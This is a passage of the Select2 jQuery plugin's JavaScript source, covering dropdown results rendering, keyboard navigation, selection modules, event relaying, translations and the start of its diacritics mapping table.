escapeMarkup = this.options.get('escapeMarkup'); this.clear(); this.hideLoading(); var $message = $( '<li role="treeitem" aria-live="assertive"' + ' class="select2-results__option"></li>' ); var message = this.options.get('translations').get(params.message); $message.append( escapeMarkup( message(params.args) ) ); $message[0].className += ' select2-results__message'; this.$results.append($message); }; Results.prototype.hideMessages = function () { this.$results.find('.select2-results__message').remove(); }; Results.prototype.append = function (data) { this.hideLoading(); var $options = []; if (data.results == null || data.results.length === 0) { if (this.$results.children().length === 0) { this.trigger('results:message', { message: 'noResults' }); } return; } data.results = this.sort(data.results); for (var d = 0; d < data.results.length; d++) { var item = data.results[d]; var $option = this.option(item); $options.push($option); } this.$results.append($options); }; Results.prototype.position = function ($results, $dropdown) { var $resultsContainer = $dropdown.find('.select2-results'); $resultsContainer.append($results); }; Results.prototype.sort = function (data) { var sorter = this.options.get('sorter'); return sorter(data); }; Results.prototype.highlightFirstItem = function () { var $options = this.$results .find('.select2-results__option[aria-selected]'); var $selected = $options.filter('[aria-selected=true]'); // Check if there are any selected options if ($selected.length > 0) { // If there are selected options, highlight the first $selected.first().trigger('mouseenter'); } else { // If there are no selected options, highlight the first option // in the dropdown $options.first().trigger('mouseenter'); } this.ensureHighlightVisible(); }; Results.prototype.setClasses = function () { var self = this; this.data.current(function (selected) { var selectedIds = $.map(selected, function (s) { return s.id.toString(); }); var $options = self.$results .find('.select2-results__option[aria-selected]'); $options.each(function () { var $option = $(this); var item = Utils.GetData(this, 'data'); // id needs to be converted to a string when comparing var id = '' + item.id; if ((item.element != null && item.element.selected) || (item.element == null && $.inArray(id, selectedIds) > -1)) { $option.attr('aria-selected', 'true'); } else { $option.attr('aria-selected', 'false'); } }); }); }; Results.prototype.showLoading = function (params) { this.hideLoading(); var loadingMore = this.options.get('translations').get('searching'); var loading = { disabled: true, loading: true, text: loadingMore(params) }; var $loading = this.option(loading); $loading.className += ' loading-results'; this.$results.prepend($loading); }; Results.prototype.hideLoading = function () { this.$results.find('.loading-results').remove(); }; Results.prototype.option = function (data) { var option = document.createElement('li'); option.className = 'select2-results__option'; var attrs = { 'role': 'treeitem', 'aria-selected': 'false' }; if (data.disabled) { delete attrs['aria-selected']; attrs['aria-disabled'] = 'true'; } if (data.id == null) { delete attrs['aria-selected']; } if (data._resultId != null) { option.id = data._resultId; } if (data.title) { option.title = data.title; } if (data.children) { attrs.role = 'group'; attrs['aria-label'] = data.text; delete attrs['aria-selected']; } for (var attr in attrs) { var val = attrs[attr]; option.setAttribute(attr, val); } if (data.children) { var $option = $(option); var label = document.createElement('strong'); label.className = 'select2-results__group'; var $label = $(label); this.template(data, label); var $children = []; for (var c = 0; c < data.children.length; c++) { var child = data.children[c]; var $child = this.option(child); $children.push($child); } var $childrenContainer = $('<ul></ul>', { 'class': 'select2-results__options select2-results__options--nested' }); $childrenContainer.append($children); $option.append(label); $option.append($childrenContainer); } else { this.template(data, option); } Utils.StoreData(option, 'data', data); return option; }; Results.prototype.bind = function (container, $container) { var self = this; var id = container.id + '-results'; this.$results.attr('id', id); container.on('results:all', function (params) { self.clear(); self.append(params.data); if (container.isOpen()) { self.setClasses(); self.highlightFirstItem(); } }); container.on('results:append', function (params) { self.append(params.data); if (container.isOpen()) { self.setClasses(); } }); container.on('query', function (params) { self.hideMessages(); self.showLoading(params); }); container.on('select', function () { if (!container.isOpen()) { return; } self.setClasses(); self.highlightFirstItem(); }); container.on('unselect', function () { if (!container.isOpen()) { return; } self.setClasses(); self.highlightFirstItem(); }); container.on('open', function () { // When the dropdown is open, aria-expended="true" self.$results.attr('aria-expanded', 'true'); self.$results.attr('aria-hidden', 'false'); self.setClasses(); self.ensureHighlightVisible(); }); container.on('close', function () { // When the dropdown is closed, aria-expended="false" self.$results.attr('aria-expanded', 'false'); self.$results.attr('aria-hidden', 'true'); self.$results.removeAttr('aria-activedescendant'); }); container.on('results:toggle', function () { var $highlighted = self.getHighlightedResults(); if ($highlighted.length === 0) { return; } $highlighted.trigger('mouseup'); }); container.on('results:select', function () { var $highlighted = self.getHighlightedResults(); if ($highlighted.length === 0) { return; } var data = Utils.GetData($highlighted[0], 'data'); if ($highlighted.attr('aria-selected') == 'true') { self.trigger('close', {}); } else { self.trigger('select', { data: data }); } }); container.on('results:previous', function () { var $highlighted = self.getHighlightedResults(); var $options = self.$results.find('[aria-selected]'); var currentIndex = $options.index($highlighted); // If we are already at te top, don't move further // If no options, currentIndex will be -1 if (currentIndex <= 0) { return; } var nextIndex = currentIndex - 1; // If none are highlighted, highlight the first if ($highlighted.length === 0) { nextIndex = 0; } var $next = $options.eq(nextIndex); $next.trigger('mouseenter'); var currentOffset = self.$results.offset().top; var nextTop = $next.offset().top; var nextOffset = self.$results.scrollTop() + (nextTop - currentOffset); if (nextIndex === 0) { self.$results.scrollTop(0); } else if (nextTop - currentOffset < 0) { self.$results.scrollTop(nextOffset); } }); container.on('results:next', function () { var $highlighted = self.getHighlightedResults(); var $options = self.$results.find('[aria-selected]'); var currentIndex = $options.index($highlighted); var nextIndex = currentIndex + 1; // If we are at the last option, stay there if (nextIndex >= $options.length) { return; } var $next = $options.eq(nextIndex); $next.trigger('mouseenter'); var currentOffset = self.$results.offset().top + self.$results.outerHeight(false); var nextBottom = $next.offset().top + $next.outerHeight(false); var nextOffset = self.$results.scrollTop() + nextBottom - currentOffset; if (nextIndex === 0) { self.$results.scrollTop(0); } else if (nextBottom > currentOffset) { self.$results.scrollTop(nextOffset); } }); container.on('results:focus', function (params) { params.element.addClass('select2-results__option--highlighted'); }); container.on('results:message', function (params) { self.displayMessage(params); }); if ($.fn.mousewheel) { this.$results.on('mousewheel', function (e) { var top = self.$results.scrollTop(); var bottom = self.$results.get(0).scrollHeight - top + e.deltaY; var isAtTop = e.deltaY > 0 && top - e.deltaY <= 0; var isAtBottom = e.deltaY < 0 && bottom <= self.$results.height(); if (isAtTop) { self.$results.scrollTop(0); e.preventDefault(); e.stopPropagation(); } else if (isAtBottom) { self.$results.scrollTop( self.$results.get(0).scrollHeight - self.$results.height() ); e.preventDefault(); e.stopPropagation(); } }); } this.$results.on('mouseup', '.select2-results__option[aria-selected]', function (evt) { var $this = $(this); var data = Utils.GetData(this, 'data'); if ($this.attr('aria-selected') === 'true') { if (self.options.get('multiple')) { self.trigger('unselect', { originalEvent: evt, data: data }); } else { self.trigger('close', {}); } return; } self.trigger('select', { originalEvent: evt, data: data }); }); this.$results.on('mouseenter', '.select2-results__option[aria-selected]', function (evt) { var data = Utils.GetData(this, 'data'); self.getHighlightedResults() .removeClass('select2-results__option--highlighted'); self.trigger('results:focus', { data: data, element: $(this) }); }); }; Results.prototype.getHighlightedResults = function () { var $highlighted = this.$results .find('.select2-results__option--highlighted'); return $highlighted; }; Results.prototype.destroy = function () { this.$results.remove(); }; Results.prototype.ensureHighlightVisible = function () { var $highlighted = this.getHighlightedResults(); if ($highlighted.length === 0) { return; } var $options = this.$results.find('[aria-selected]'); var currentIndex = $options.index($highlighted); var currentOffset = this.$results.offset().top; var nextTop = $highlighted.offset().top; var nextOffset = this.$results.scrollTop() + (nextTop - currentOffset); var offsetDelta = nextTop - currentOffset; nextOffset -= $highlighted.outerHeight(false) * 2; if (currentIndex <= 2) { this.$results.scrollTop(0); } else if (offsetDelta > this.$results.outerHeight() || offsetDelta < 0) { this.$results.scrollTop(nextOffset); } }; Results.prototype.template = function (result, container) { var template = this.options.get('templateResult'); var escapeMarkup = this.options.get('escapeMarkup'); var content = template(result, container); if (content == null) { container.style.display = 'none'; } else if (typeof content === 'string') { container.innerHTML = escapeMarkup(content); } else { $(container).append(content); } }; return Results; }); S2.define('select2/keys',[ ], function () { var KEYS = { BACKSPACE: 8, TAB: 9, ENTER: 13, SHIFT: 16, CTRL: 17, ALT: 18, ESC: 27, SPACE: 32, PAGE_UP: 33, PAGE_DOWN: 34, END: 35, HOME: 36, LEFT: 37, UP: 38, RIGHT: 39, DOWN: 40, DELETE: 46 }; return KEYS; }); S2.define('select2/selection/base',[ 'jquery', '../utils', '../keys' ], function ($, Utils, KEYS) { function BaseSelection ($element, options) { this.$element = $element; this.options = options; BaseSelection.__super__.constructor.call(this); } Utils.Extend(BaseSelection, Utils.Observable); BaseSelection.prototype.render = function () { var $selection = $( '<span class="select2-selection" role="combobox" ' + ' aria-haspopup="true" aria-expanded="false">' + '</span>' ); this._tabindex = 0; if (Utils.GetData(this.$element[0], 'old-tabindex') != null) { this._tabindex = Utils.GetData(this.$element[0], 'old-tabindex'); } else if (this.$element.attr('tabindex') != null) { this._tabindex = this.$element.attr('tabindex'); } $selection.attr('title', this.$element.attr('title')); $selection.attr('tabindex', this._tabindex); this.$selection = $selection; return $selection; }; BaseSelection.prototype.bind = function (container, $container) { var self = this; var id = container.id + '-container'; var resultsId = container.id + '-results'; this.container = container; this.$selection.on('focus', function (evt) { self.trigger('focus', evt); }); this.$selection.on('blur', function (evt) { self._handleBlur(evt); }); this.$selection.on('keydown', function (evt) { self.trigger('keypress', evt); if (evt.which === KEYS.SPACE) { evt.preventDefault(); } }); container.on('results:focus', function (params) { self.$selection.attr('aria-activedescendant', params.data._resultId); }); container.on('selection:update', function (params) { self.update(params.data); }); container.on('open', function () { // When the dropdown is open, aria-expanded="true" self.$selection.attr('aria-expanded', 'true'); self.$selection.attr('aria-owns', resultsId); self._attachCloseHandler(container); }); container.on('close', function () { // When the dropdown is closed, aria-expanded="false" self.$selection.attr('aria-expanded', 'false'); self.$selection.removeAttr('aria-activedescendant'); self.$selection.removeAttr('aria-owns'); self.$selection.focus(); window.setTimeout(function () { self.$selection.focus(); }, 0); self._detachCloseHandler(container); }); container.on('enable', function () { self.$selection.attr('tabindex', self._tabindex); }); container.on('disable', function () { self.$selection.attr('tabindex', '-1'); }); }; BaseSelection.prototype._handleBlur = function (evt) { var self = this; // This needs to be delayed as the active element is the body when the tab // key is pressed, possibly along with others. window.setTimeout(function () { // Don't trigger `blur` if the focus is still in the selection if ( (document.activeElement == self.$selection[0]) || ($.contains(self.$selection[0], document.activeElement)) ) { return; } self.trigger('blur', evt); }, 1); }; BaseSelection.prototype._attachCloseHandler = function (container) { var self = this; $(document.body).on('mousedown.select2.' + container.id, function (e) { var $target = $(e.target); var $select = $target.closest('.select2'); var $all = $('.select2.select2-container--open'); $all.each(function () { var $this = $(this); if (this == $select[0]) { return; } var $element = Utils.GetData(this, 'element'); $element.select2('close'); }); }); }; BaseSelection.prototype._detachCloseHandler = function (container) { $(document.body).off('mousedown.select2.' + container.id); }; BaseSelection.prototype.position = function ($selection, $container) { var $selectionContainer = $container.find('.selection'); $selectionContainer.append($selection); }; BaseSelection.prototype.destroy = function () { this._detachCloseHandler(this.container); }; BaseSelection.prototype.update = function (data) { throw new Error('The `update` method must be defined in child classes.'); }; return BaseSelection; }); S2.define('select2/selection/single',[ 'jquery', './base', '../utils', '../keys' ], function ($, BaseSelection, Utils, KEYS) { function SingleSelection () { SingleSelection.__super__.constructor.apply(this, arguments); } Utils.Extend(SingleSelection, BaseSelection); SingleSelection.prototype.render = function () { var $selection = SingleSelection.__super__.render.call(this); $selection.addClass('select2-selection--single'); $selection.html( '<span class="select2-selection__rendered"></span>' + '<span class="select2-selection__arrow" role="presentation">' + '<b role="presentation"></b>' + '</span>' ); return $selection; }; SingleSelection.prototype.bind = function (container, $container) { var self = this; SingleSelection.__super__.bind.apply(this, arguments); var id = container.id + '-container'; this.$selection.find('.select2-selection__rendered') .attr('id', id) .attr('role', 'textbox') .attr('aria-readonly', 'true'); this.$selection.attr('aria-labelledby', id); this.$selection.on('mousedown', function (evt) { // Only respond to left clicks if (evt.which !== 1) { return; } self.trigger('toggle', { originalEvent: evt }); }); this.$selection.on('focus', function (evt) { // User focuses on the container }); this.$selection.on('blur', function (evt) { // User exits the container }); container.on('focus', function (evt) { if (!container.isOpen()) { self.$selection.focus(); } }); }; SingleSelection.prototype.clear = function () { var $rendered = this.$selection.find('.select2-selection__rendered'); $rendered.empty(); $rendered.removeAttr('title'); // clear tooltip on empty }; SingleSelection.prototype.display = function (data, container) { var template = this.options.get('templateSelection'); var escapeMarkup = this.options.get('escapeMarkup'); return escapeMarkup(template(data, container)); }; SingleSelection.prototype.selectionContainer = function () { return $('<span></span>'); }; SingleSelection.prototype.update = function (data) { if (data.length === 0) { this.clear(); return; } var selection = data[0]; var $rendered = this.$selection.find('.select2-selection__rendered'); var formatted = this.display(selection, $rendered); $rendered.empty().append(formatted); $rendered.attr('title', selection.title || selection.text); }; return SingleSelection; }); S2.define('select2/selection/multiple',[ 'jquery', './base', '../utils' ], function ($, BaseSelection, Utils) { function MultipleSelection ($element, options) { MultipleSelection.__super__.constructor.apply(this, arguments); } Utils.Extend(MultipleSelection, BaseSelection); MultipleSelection.prototype.render = function () { var $selection = MultipleSelection.__super__.render.call(this); $selection.addClass('select2-selection--multiple'); $selection.html( '<ul class="select2-selection__rendered"></ul>' ); return $selection; }; MultipleSelection.prototype.bind = function (container, $container) { var self = this; MultipleSelection.__super__.bind.apply(this, arguments); this.$selection.on('click', function (evt) { self.trigger('toggle', { originalEvent: evt }); }); this.$selection.on( 'click', '.select2-selection__choice__remove', function (evt) { // Ignore the event if it is disabled if (self.options.get('disabled')) { return; } var $remove = $(this); var $selection = $remove.parent(); var data = Utils.GetData($selection[0], 'data'); self.trigger('unselect', { originalEvent: evt, data: data }); } ); }; MultipleSelection.prototype.clear = function () { var $rendered = this.$selection.find('.select2-selection__rendered'); $rendered.empty(); $rendered.removeAttr('title'); }; MultipleSelection.prototype.display = function (data, container) { var template = this.options.get('templateSelection'); var escapeMarkup = this.options.get('escapeMarkup'); return escapeMarkup(template(data, container)); }; MultipleSelection.prototype.selectionContainer = function () { var $container = $( '<li class="select2-selection__choice">' + '<span class="select2-selection__choice__remove" role="presentation">' + '×' + '</span>' + '</li>' ); return $container; }; MultipleSelection.prototype.update = function (data) { this.clear(); if (data.length === 0) { return; } var $selections = []; for (var d = 0; d < data.length; d++) { var selection = data[d]; var $selection = this.selectionContainer(); var formatted = this.display(selection, $selection); $selection.append(formatted); $selection.attr('title', selection.title || selection.text); Utils.StoreData($selection[0], 'data', selection); $selections.push($selection); } var $rendered = this.$selection.find('.select2-selection__rendered'); Utils.appendMany($rendered, $selections); }; return MultipleSelection; }); S2.define('select2/selection/placeholder',[ '../utils' ], function (Utils) { function Placeholder (decorated, $element, options) { this.placeholder = this.normalizePlaceholder(options.get('placeholder')); decorated.call(this, $element, options); } Placeholder.prototype.normalizePlaceholder = function (_, placeholder) { if (typeof placeholder === 'string') { placeholder = { id: '', text: placeholder }; } return placeholder; }; Placeholder.prototype.createPlaceholder = function (decorated, placeholder) { var $placeholder = this.selectionContainer(); $placeholder.html(this.display(placeholder)); $placeholder.addClass('select2-selection__placeholder') .removeClass('select2-selection__choice'); return $placeholder; }; Placeholder.prototype.update = function (decorated, data) { var singlePlaceholder = ( data.length == 1 && data[0].id != this.placeholder.id ); var multipleSelections = data.length > 1; if (multipleSelections || singlePlaceholder) { return decorated.call(this, data); } this.clear(); var $placeholder = this.createPlaceholder(this.placeholder); this.$selection.find('.select2-selection__rendered').append($placeholder); }; return Placeholder; }); S2.define('select2/selection/allowClear',[ 'jquery', '../keys', '../utils' ], function ($, KEYS, Utils) { function AllowClear () { } AllowClear.prototype.bind = function (decorated, container, $container) { var self = this; decorated.call(this, container, $container); if (this.placeholder == null) { if (this.options.get('debug') && window.console && console.error) { console.error( 'Select2: The `allowClear` option should be used in combination ' + 'with the `placeholder` option.' ); } } this.$selection.on('mousedown', '.select2-selection__clear', function (evt) { self._handleClear(evt); }); container.on('keypress', function (evt) { self._handleKeyboardClear(evt, container); }); }; AllowClear.prototype._handleClear = function (_, evt) { // Ignore the event if it is disabled if (this.options.get('disabled')) { return; } var $clear = this.$selection.find('.select2-selection__clear'); // Ignore the event if nothing has been selected if ($clear.length === 0) { return; } evt.stopPropagation(); var data = Utils.GetData($clear[0], 'data'); var previousVal = this.$element.val(); this.$element.val(this.placeholder.id); var unselectData = { data: data }; this.trigger('clear', unselectData); if (unselectData.prevented) { this.$element.val(previousVal); return; } for (var d = 0; d < data.length; d++) { unselectData = { data: data[d] }; // Trigger the `unselect` event, so people can prevent it from being // cleared. this.trigger('unselect', unselectData); // If the event was prevented, don't clear it out. if (unselectData.prevented) { this.$element.val(previousVal); return; } } this.$element.trigger('change'); this.trigger('toggle', {}); }; AllowClear.prototype._handleKeyboardClear = function (_, evt, container) { if (container.isOpen()) { return; } if (evt.which == KEYS.DELETE || evt.which == KEYS.BACKSPACE) { this._handleClear(evt); } }; AllowClear.prototype.update = function (decorated, data) { decorated.call(this, data); if (this.$selection.find('.select2-selection__placeholder').length > 0 || data.length === 0) { return; } var $remove = $( '<span class="select2-selection__clear">' + '×' + '</span>' ); Utils.StoreData($remove[0], 'data', data); this.$selection.find('.select2-selection__rendered').prepend($remove); }; return AllowClear; }); S2.define('select2/selection/search',[ 'jquery', '../utils', '../keys' ], function ($, Utils, KEYS) { function Search (decorated, $element, options) { decorated.call(this, $element, options); } Search.prototype.render = function (decorated) { var $search = $( '<li class="select2-search select2-search--inline">' + '<input class="select2-search__field" type="search" tabindex="-1"' + ' autocomplete="off" autocorrect="off" autocapitalize="none"' + ' spellcheck="false" role="textbox" aria-autocomplete="list" />' + '</li>' ); this.$searchContainer = $search; this.$search = $search.find('input'); var $rendered = decorated.call(this); this._transferTabIndex(); return $rendered; }; Search.prototype.bind = function (decorated, container, $container) { var self = this; decorated.call(this, container, $container); container.on('open', function () { self.$search.trigger('focus'); }); container.on('close', function () { self.$search.val(''); self.$search.removeAttr('aria-activedescendant'); self.$search.trigger('focus'); }); container.on('enable', function () { self.$search.prop('disabled', false); self._transferTabIndex(); }); container.on('disable', function () { self.$search.prop('disabled', true); }); container.on('focus', function (evt) { self.$search.trigger('focus'); }); container.on('results:focus', function (params) { self.$search.attr('aria-activedescendant', params.id); }); this.$selection.on('focusin', '.select2-search--inline', function (evt) { self.trigger('focus', evt); }); this.$selection.on('focusout', '.select2-search--inline', function (evt) { self._handleBlur(evt); }); this.$selection.on('keydown', '.select2-search--inline', function (evt) { evt.stopPropagation(); self.trigger('keypress', evt); self._keyUpPrevented = evt.isDefaultPrevented(); var key = evt.which; if (key === KEYS.BACKSPACE && self.$search.val() === '') { var $previousChoice = self.$searchContainer .prev('.select2-selection__choice'); if ($previousChoice.length > 0) { var item = Utils.GetData($previousChoice[0], 'data'); self.searchRemoveChoice(item); evt.preventDefault(); } } }); // Try to detect the IE version should the `documentMode` property that // is stored on the document. This is only implemented in IE and is // slightly cleaner than doing a user agent check. // This property is not available in Edge, but Edge also doesn't have // this bug. var msie = document.documentMode; var disableInputEvents = msie && msie <= 11; // Workaround for browsers which do not support the `input` event // This will prevent double-triggering of events for browsers which support // both the `keyup` and `input` events. this.$selection.on( 'input.searchcheck', '.select2-search--inline', function (evt) { // IE will trigger the `input` event when a placeholder is used on a // search box. To get around this issue, we are forced to ignore all // `input` events in IE and keep using `keyup`. if (disableInputEvents) { self.$selection.off('input.search input.searchcheck'); return; } // Unbind the duplicated `keyup` event self.$selection.off('keyup.search'); } ); this.$selection.on( 'keyup.search input.search', '.select2-search--inline', function (evt) { // IE will trigger the `input` event when a placeholder is used on a // search box. To get around this issue, we are forced to ignore all // `input` events in IE and keep using `keyup`. if (disableInputEvents && evt.type === 'input') { self.$selection.off('input.search input.searchcheck'); return; } var key = evt.which; // We can freely ignore events from modifier keys if (key == KEYS.SHIFT || key == KEYS.CTRL || key == KEYS.ALT) { return; } // Tabbing will be handled during the `keydown` phase if (key == KEYS.TAB) { return; } self.handleSearch(evt); } ); }; /** * This method will transfer the tabindex attribute from the rendered * selection to the search box. This allows for the search box to be used as * the primary focus instead of the selection container. * * @private */ Search.prototype._transferTabIndex = function (decorated) { this.$search.attr('tabindex', this.$selection.attr('tabindex')); this.$selection.attr('tabindex', '-1'); }; Search.prototype.createPlaceholder = function (decorated, placeholder) { this.$search.attr('placeholder', placeholder.text); }; Search.prototype.update = function (decorated, data) { var searchHadFocus = this.$search[0] == document.activeElement; this.$search.attr('placeholder', ''); decorated.call(this, data); this.$selection.find('.select2-selection__rendered') .append(this.$searchContainer); this.resizeSearch(); if (searchHadFocus) { var isTagInput = this.$element.find('[data-select2-tag]').length; if (isTagInput) { // fix IE11 bug where tag input lost focus this.$element.focus(); } else { this.$search.focus(); } } }; Search.prototype.handleSearch = function () { this.resizeSearch(); if (!this._keyUpPrevented) { var input = this.$search.val(); this.trigger('query', { term: input }); } this._keyUpPrevented = false; }; Search.prototype.searchRemoveChoice = function (decorated, item) { this.trigger('unselect', { data: item }); this.$search.val(item.text); this.handleSearch(); }; Search.prototype.resizeSearch = function () { this.$search.css('width', '25px'); var width = ''; if (this.$search.attr('placeholder') !== '') { width = this.$selection.find('.select2-selection__rendered').innerWidth(); } else { var minimumWidth = this.$search.val().length + 1; width = (minimumWidth * 0.75) + 'em'; } this.$search.css('width', width); }; return Search; }); S2.define('select2/selection/eventRelay',[ 'jquery' ], function ($) { function EventRelay () { } EventRelay.prototype.bind = function (decorated, container, $container) { var self = this; var relayEvents = [ 'open', 'opening', 'close', 'closing', 'select', 'selecting', 'unselect', 'unselecting', 'clear', 'clearing' ]; var preventableEvents = [ 'opening', 'closing', 'selecting', 'unselecting', 'clearing' ]; decorated.call(this, container, $container); container.on('*', function (name, params) { // Ignore events that should not be relayed if ($.inArray(name, relayEvents) === -1) { return; } // The parameters should always be an object params = params || {}; // Generate the jQuery event for the Select2 event var evt = $.Event('select2:' + name, { params: params }); self.$element.trigger(evt); // Only handle preventable events if it was one if ($.inArray(name, preventableEvents) === -1) { return; } params.prevented = evt.isDefaultPrevented(); }); }; return EventRelay; }); S2.define('select2/translation',[ 'jquery', 'require' ], function ($, require) { function Translation (dict) { this.dict = dict || {}; } Translation.prototype.all = function () { return this.dict; }; Translation.prototype.get = function (key) { return this.dict[key]; }; Translation.prototype.extend = function (translation) { this.dict = $.extend({}, translation.all(), this.dict); }; // Static functions Translation._cache = {}; Translation.loadPath = function (path) { if (!(path in Translation._cache)) { var translations = require(path); Translation._cache[path] = translations; } return new Translation(Translation._cache[path]); }; return Translation; }); S2.define('select2/diacritics',[ ], function () { var diacritics = { '\u24B6': 'A', '\uFF21': 'A', '\u00C0': 'A', '\u00C1': 'A', '\u00C2': 'A', '\u1EA6': 'A', '\u1EA4': 'A', '\u1EAA': 'A', '\u1EA8': 'A', '\u00C3': 'A', '\u0100': 'A', '\u0102': 'A', '\u1EB0': 'A', '\u1EAE': 'A', '\u1EB4': 'A', '\u1EB2': 'A', '\u0226': 'A', '\u01E0': 'A', '\u00C4': 'A', '\u01DE': 'A', '\u1EA2': 'A', '\u00C5': 'A', '\u01FA': 'A', '\u01CD': 'A', '\u0200': 'A', '\u0202': 'A', '\u1EA0': 'A', '\u1EAC': 'A', '\u1EB6': 'A', '\u1E00': 'A', '\u0104': 'A', '\u023A': 'A', '\u2C6F': 'A', '\uA732': 'AA', '\u00C6': 'AE', '\u01FC': 'AE', '\u01E2': 'AE', '\uA734': 'AO', '\uA736': 'AU', '\uA738': 'AV', '\uA73A': 'AV', '\uA73C': 'AY', '\u24B7': 'B', '\uFF22': 'B', '\u1E02': 'B', '\u1E04': 'B', '\u1E06': 'B', '\u0243': 'B', '\u0182': 'B', '\u0181': 'B', '\u24B8': 'C', '\uFF23': 'C', '\u0106': 'C', '\u0108': 'C', '\u010A': 'C', '\u010C': 'C', '\u00C7': 'C', '\u1E08': 'C', '\u0187': 'C', '\u023B': 'C', '\uA73E': 'C', '\u24B9': 'D', '\uFF24': 'D', '\u1E0A': 'D', '\u010E': 'D', '\u1E0C': 'D', '\u1E10': 'D', '\u1E12': 'D', '\u1E0E': 'D', '\u0110': 'D', '\u018B': 'D', '\u018A': 'D', '\u0189': 'D', '\uA779': 'D', '\u01F1': 'DZ', '\u01C4': 'DZ', '\u01F2': 'Dz', '\u01C5': 'Dz', '\u24BA': 'E', '\uFF25': 'E', '\u00C8': 'E', '\u00C9': 'E', '\u00CA': 'E', '\u1EC0': 'E', '\u1EBE': 'E', '\u1EC4': 'E', '\u1EC2': 'E', '\u1EBC': 'E', '\u0112': 'E', '\u1E14': 'E', '\u1E16': 'E', '\u0114': 'E', '\u0116': 'E', '\u00CB': 'E', '\u1EBA': 'E', '\u011A': 'E', '\u0204': 'E', '\u0206': 'E', '\u1EB8': 'E', '\u1EC6': 'E', '\u0228': 'E', '\u1E1C': 'E', '\u0118': 'E', '\u1E18': 'E', '\u1E1A': 'E', '\u0190': 'E', '\u018E': 'E', '\u24BB': 'F', '\uFF26': 'F', '\u1E1E': 'F', '\u0191': 'F', '\uA77B': 'F', '\u24BC': 'G', '\uFF27': 'G', '\u01F4': 'G', '\u011C': 'G', '\u1E20': 'G', '\u011E': 'G', '\u0120': 'G', '\u01E6': 'G', '\u0122': 'G', '\u01E4': 'G', '\u0193': 'G', '\uA7A0': 'G', '\uA77D': 'G', '\uA77E': 'G', '\u24BD': 'H', '\uFF28': 'H', '\u0124': 'H', '\u1E22': 'H', '\u1E26': 'H', '\u021E': 'H', '\u1E24': 'H', '\u1E28': 'H', '\u1E2A': 'H', '\u0126': 'H', '\u2C67': 'H', '\u2C75': 'H', '\uA78D': 'H', '\u24BE': 'I', '\uFF29': 'I', '\u00CC': 'I', '\u00CD': 'I', '\u00CE': 'I', '\u0128': 'I', '\u012A': 'I', '\u012C': 'I', '\u0130': 'I', '\u00CF': 'I', '\u1E2E': 'I', '\u1EC8': 'I', '\u01CF': 'I', '\u0208': 'I', '\u020A': 'I', '\u1ECA': 'I', '\u012E': 'I', '\u1E2C': 'I', '\u0197': 'I', '\u24BF': 'J', '\uFF2A': 'J', '\u0134': 'J', '\u0248': 'J', '\u24C0': 'K', '\uFF2B': 'K', '\u1E30': 'K', '\u01E8': 'K', '\u1E32': 'K', '\u0136': 'K', '\u1E34': 'K', '\u0198': 'K', '\u2C69': 'K', '\uA740': 'K', '\uA742': 'K', '\uA744': 'K', '\uA7A2': 'K', '\u24C1': 'L', '\uFF2C': 'L', '\u013F': 'L', '\u0139': 'L', '\u013D': 'L', '\u1E36': 'L', '\u1E38': 'L', '\u013B': 'L', '\u1E3C': 'L', '\u1E3A': 'L', '\u0141': 'L', '\u023D': 'L', '\u2C62': 'L', '\u2C60': 'L', '\uA748': 'L', '\uA746': 'L', '\uA780': 'L', '\u01C7': 'LJ', '\u01C8': 'Lj', '\u24C2': 'M', '\uFF2D': 'M', '\u1E3E': 'M', '\u1E40': 'M', '\u1E42': 'M', '\u2C6E': 'M', '\u019C': 'M', '\u24C3': 'N', '\uFF2E': 'N', '\u01F8': 'N', '\u0143': 'N', '\u00D1': 'N', '\u1E44': 'N', '\u0147': 'N', '\u1E46': 'N', '\u0145': 'N', '\u1E4A': 'N', '\u1E48': 'N', '\u0220': 'N', '\u019D': 'N', '\uA790': 'N', '\uA7A4': 'N', '\u01CA': 'NJ', '\u01CB': 'Nj', '\u24C4': 'O', '\uFF2F': 'O', '\u00D2': 'O', '\u00D3': 'O', '\u00D4': 'O', '\u1ED2': 'O', '\u1ED0': 'O', '\u1ED6': 'O', '\u1ED4': 'O', '\u00D5': 'O', '\u1E4C': 'O', '\u022C': 'O', '\u1E4E': 'O', '\u014C': 'O', '\u1E50': 'O', '\u1E52': 'O', '\u014E': 'O', '\u022E': 'O', '\u0230': 'O', '\u00D6': 'O', '\u022A': 'O', '\u1ECE': 'O', '\u0150': 'O', '\u01D1': 'O', '\u020C': 'O', '\u020E': 'O', '\u01A0': 'O', '\u1EDC': 'O', '\u1EDA': 'O', '\u1EE0': 'O', '\u1EDE': 'O', '\u1EE2': 'O', '\u1ECC': 'O', '\u1ED8': 'O', '\u01EA': 'O', '\u01EC': 'O', '\u00D8': 'O', '\u01FE': 'O', '\u0186': 'O', '\u019F': 'O', '\uA74A': 'O', '\uA74C': 'O', '\u01A2': 'OI', '\uA74E': 'OO', '\u0222': 'OU', '\u24C5': 'P', '\uFF30': 'P', '\u1E54': 'P', '\u1E56': 'P', '\u01A4': 'P', '\u2C63': 'P', '\uA750': 'P', '\uA752': 'P', '\uA754': 'P', '\u24C6': 'Q', '\uFF31': 'Q', '\uA756': 'Q', '\uA758': 'Q', '\u024A': 'Q', '\u24C7': 'R', '\uFF32': 'R', '\u0154': 'R', '\u1E58': 'R', '\u0158': 'R', '\u0210': 'R', '\u0212': 'R', '\u1E5A': 'R', '\u1E5C': 'R', '\u0156': 'R', '\u1E5E': 'R', '\u024C': 'R', '\u2C64': 'R', '\uA75A': 'R', '\uA7A6': 'R', '\uA782': 'R', '\u24C8': 'S', '\uFF33': 'S', '\u1E9E': 'S', '\u015A': 'S', '\u1E64': 'S', '\u015C': 'S', '\u1E60': 'S', '\u0160': 'S', '\u1E66': 'S', '\u1E62': 'S', '\u1E68': 'S', '\u0218': 'S', '\u015E': 'S', '\u2C7E': 'S', '\uA7A8': 'S', '\uA784': 'S', '\u24C9': 'T', '\uFF34': 'T', '\u1E6A': 'T', '\u0164': 'T', '\u1E6C': 'T', '\u021A': 'T', '\u0162': 'T', '\u1E70': 'T', '\u1E6E': 'T', '\u0166': 'T', '\u01AC': 'T', '\u01AE': 'T', '\u023E': 'T', '\uA786': 'T', '\uA728': 'TZ', '\u24CA': 'U', '\uFF35': 'U', '\u00D9': 'U', '\u00DA': 'U', '\u00DB': 'U', '\u0168': 'U', '\u1E78': 'U', '\u016A': 'U', '\u1E7A': 'U', '\u016C': 'U', '\u00DC': 'U', '\u01DB': 'U', '\u01D7': 'U', '\u01D5': 'U', '\u01D9': 'U', '\u1EE6': 'U', '\u016E': 'U', '\u0170': 'U', '\u01D3': 'U', '\u0214': 'U', '\u0216': 'U', '\u01AF': 